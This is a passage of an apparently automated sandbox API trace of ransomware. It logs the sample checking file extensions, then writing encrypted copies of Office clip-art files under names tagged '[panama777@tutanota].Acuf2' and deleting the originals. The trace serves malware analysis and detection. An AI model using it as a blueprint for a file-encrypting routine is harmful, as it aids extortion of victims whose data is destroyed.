	[0260.913] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.913] lstrlenW (lpString=".pdf") returned 4
	[0260.913] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.913] lstrlenW (lpString=".xls") returned 4
	[0260.913] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.913] lstrlenW (lpString=".xlsx") returned 5
	[0260.913] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.913] lstrlenW (lpString=".ppt") returned 4
	[0260.913] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63
	[0260.913] lstrlenW (lpString=".zip") returned 4
	[0260.913] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.913] lstrlenW (lpString=".rar") returned 4
	[0260.913] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.913] lstrlenW (lpString=".bz2") returned 4
	[0260.913] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.913] lstrlenW (lpString=".7z") returned 3
	[0260.913] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63
	[0260.913] lstrlenW (lpString=".dbf") returned 4
	[0260.913] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63
	[0260.913] lstrlenW (lpString=".1cd") returned 4
	[0260.913] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63
	[0260.913] lstrlenW (lpString=".jpg") returned 4
	[0260.913] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.914] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0260.914] lstrlenW (lpString="DD01151_.WMF") returned 12
	[0260.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0260.914] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=2960) returned 1
	[0260.914] CloseHandle (hObject=0x334) returned 1
	[0260.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf")) returned 0x20
	[0260.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0260.914] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.914] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0260.915] GetLastError () returned 0x0
	[0260.915] ReadFile (in: hFile=0x334, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xb90, lpOverlapped=0x0) returned 1
	[0260.936] WriteFile (in: hFile=0x330, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xba0, lpOverlapped=0x0) returned 1
	[0260.936] ReadFile (in: hFile=0x334, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.936] WriteFile (in: hFile=0x330, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0260.936] SetEndOfFile (hFile=0x330) returned 1
	[0260.937] CloseHandle (hObject=0x330) returned 1
	[0260.937] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.937] SetEndOfFile (hFile=0x334) returned 1
	[0260.938] CloseHandle (hObject=0x334) returned 1
	[0260.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.951] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf")) returned 1
	[0260.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63
	[0260.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63
	[0260.998] lstrlenW (lpString=".doc") returned 4
	[0260.998] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.998] lstrlenW (lpString=".docx") returned 5
	[0260.998] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.998] lstrlenW (lpString=".pdf") returned 4
	[0260.998] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.998] lstrlenW (lpString=".xls") returned 4
	[0260.998] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.998] lstrlenW (lpString=".xlsx") returned 5
	[0260.998] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.998] lstrlenW (lpString=".ppt") returned 4
	[0260.998] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63
	[0260.998] lstrlenW (lpString=".zip") returned 4
	[0260.998] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.998] lstrlenW (lpString=".rar") returned 4
	[0260.999] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.999] lstrlenW (lpString=".bz2") returned 4
	[0260.999] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.999] lstrlenW (lpString=".7z") returned 3
	[0260.999] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63
	[0260.999] lstrlenW (lpString=".dbf") returned 4
	[0260.999] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63
	[0260.999] lstrlenW (lpString=".1cd") returned 4
	[0260.999] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63
	[0260.999] lstrlenW (lpString=".jpg") returned 4
	[0260.999] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63
	[0260.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63
	[0260.999] lstrlenW (lpString=".doc") returned 4
	[0260.999] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.999] lstrlenW (lpString=".docx") returned 5
	[0260.999] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.999] lstrlenW (lpString=".pdf") returned 4
	[0260.999] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.999] lstrlenW (lpString=".xls") returned 4
	[0260.999] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.999] lstrlenW (lpString=".xlsx") returned 5
	[0260.999] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.999] lstrlenW (lpString=".ppt") returned 4
	[0260.999] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63
	[0260.999] lstrlenW (lpString=".zip") returned 4
	[0260.999] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.000] lstrlenW (lpString=".rar") returned 4
	[0261.000] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.000] lstrlenW (lpString=".bz2") returned 4
	[0261.000] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.000] lstrlenW (lpString=".7z") returned 3
	[0261.000] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63
	[0261.000] lstrlenW (lpString=".dbf") returned 4
	[0261.000] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63
	[0261.000] lstrlenW (lpString=".1cd") returned 4
	[0261.000] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63
	[0261.000] lstrlenW (lpString=".jpg") returned 4
	[0261.000] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.000] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0261.000] lstrlenW (lpString="DD01169_.WMF") returned 12
	[0261.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0261.030] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=2020) returned 1
	[0261.030] CloseHandle (hObject=0x360) returned 1
	[0261.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf")) returned 0x20
	[0261.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0261.030] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.031] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0261.031] GetLastError () returned 0x0
	[0261.031] ReadFile (in: hFile=0x360, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x7e4, lpOverlapped=0x0) returned 1
	[0261.035] WriteFile (in: hFile=0x2a4, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x7f0, lpOverlapped=0x0) returned 1
	[0261.036] ReadFile (in: hFile=0x360, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.036] WriteFile (in: hFile=0x2a4, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.036] SetEndOfFile (hFile=0x2a4) returned 1
	[0261.036] CloseHandle (hObject=0x2a4) returned 1
	[0261.036] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.036] SetEndOfFile (hFile=0x360) returned 1
	[0261.038] CloseHandle (hObject=0x360) returned 1
	[0261.038] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.038] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf")) returned 1
	[0261.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63
	[0261.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63
	[0261.039] lstrlenW (lpString=".doc") returned 4
	[0261.039] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.039] lstrlenW (lpString=".docx") returned 5
	[0261.039] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.039] lstrlenW (lpString=".pdf") returned 4
	[0261.039] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.039] lstrlenW (lpString=".xls") returned 4
	[0261.039] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.039] lstrlenW (lpString=".xlsx") returned 5
	[0261.039] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.039] lstrlenW (lpString=".ppt") returned 4
	[0261.039] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63
	[0261.039] lstrlenW (lpString=".zip") returned 4
	[0261.039] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.039] lstrlenW (lpString=".rar") returned 4
	[0261.039] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.039] lstrlenW (lpString=".bz2") returned 4
	[0261.039] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.039] lstrlenW (lpString=".7z") returned 3
	[0261.039] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63
	[0261.039] lstrlenW (lpString=".dbf") returned 4
	[0261.039] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63
	[0261.039] lstrlenW (lpString=".1cd") returned 4
	[0261.039] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63
	[0261.039] lstrlenW (lpString=".jpg") returned 4
	[0261.039] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63
	[0261.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63
	[0261.040] lstrlenW (lpString=".doc") returned 4
	[0261.040] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.040] lstrlenW (lpString=".docx") returned 5
	[0261.040] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.040] lstrlenW (lpString=".pdf") returned 4
	[0261.040] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.040] lstrlenW (lpString=".xls") returned 4
	[0261.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.040] lstrlenW (lpString=".xlsx") returned 5
	[0261.040] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.040] lstrlenW (lpString=".ppt") returned 4
	[0261.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63
	[0261.040] lstrlenW (lpString=".zip") returned 4
	[0261.040] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.040] lstrlenW (lpString=".rar") returned 4
	[0261.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.040] lstrlenW (lpString=".bz2") returned 4
	[0261.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.040] lstrlenW (lpString=".7z") returned 3
	[0261.040] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63
	[0261.040] lstrlenW (lpString=".dbf") returned 4
	[0261.040] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63
	[0261.040] lstrlenW (lpString=".1cd") returned 4
	[0261.040] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63
	[0261.040] lstrlenW (lpString=".jpg") returned 4
	[0261.040] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.041] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0261.041] lstrlenW (lpString="DD01173_.WMF") returned 12
	[0261.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0261.057] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=1804) returned 1
	[0261.064] CloseHandle (hObject=0x220) returned 1
	[0261.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf")) returned 0x20
	[0261.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0261.078] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.078] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0261.079] GetLastError () returned 0x0
	[0261.079] ReadFile (in: hFile=0x334, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x70c, lpOverlapped=0x0) returned 1
	[0261.080] WriteFile (in: hFile=0x330, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x710, lpOverlapped=0x0) returned 1
	[0261.081] ReadFile (in: hFile=0x334, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.081] WriteFile (in: hFile=0x330, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.081] SetEndOfFile (hFile=0x330) returned 1
	[0261.081] CloseHandle (hObject=0x330) returned 1
	[0261.081] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.081] SetEndOfFile (hFile=0x334) returned 1
	[0261.083] CloseHandle (hObject=0x334) returned 1
	[0261.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.083] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf")) returned 1
	[0261.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63
	[0261.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63
	[0261.084] lstrlenW (lpString=".doc") returned 4
	[0261.084] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.084] lstrlenW (lpString=".docx") returned 5
	[0261.084] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.084] lstrlenW (lpString=".pdf") returned 4
	[0261.084] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.084] lstrlenW (lpString=".xls") returned 4
	[0261.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.084] lstrlenW (lpString=".xlsx") returned 5
	[0261.084] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.084] lstrlenW (lpString=".ppt") returned 4
	[0261.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63
	[0261.084] lstrlenW (lpString=".zip") returned 4
	[0261.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.084] lstrlenW (lpString=".rar") returned 4
	[0261.084] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.084] lstrlenW (lpString=".bz2") returned 4
	[0261.084] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.084] lstrlenW (lpString=".7z") returned 3
	[0261.084] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63
	[0261.084] lstrlenW (lpString=".dbf") returned 4
	[0261.084] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63
	[0261.084] lstrlenW (lpString=".1cd") returned 4
	[0261.085] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63
	[0261.085] lstrlenW (lpString=".jpg") returned 4
	[0261.085] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63
	[0261.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63
	[0261.085] lstrlenW (lpString=".doc") returned 4
	[0261.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.085] lstrlenW (lpString=".docx") returned 5
	[0261.085] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.085] lstrlenW (lpString=".pdf") returned 4
	[0261.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.085] lstrlenW (lpString=".xls") returned 4
	[0261.085] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
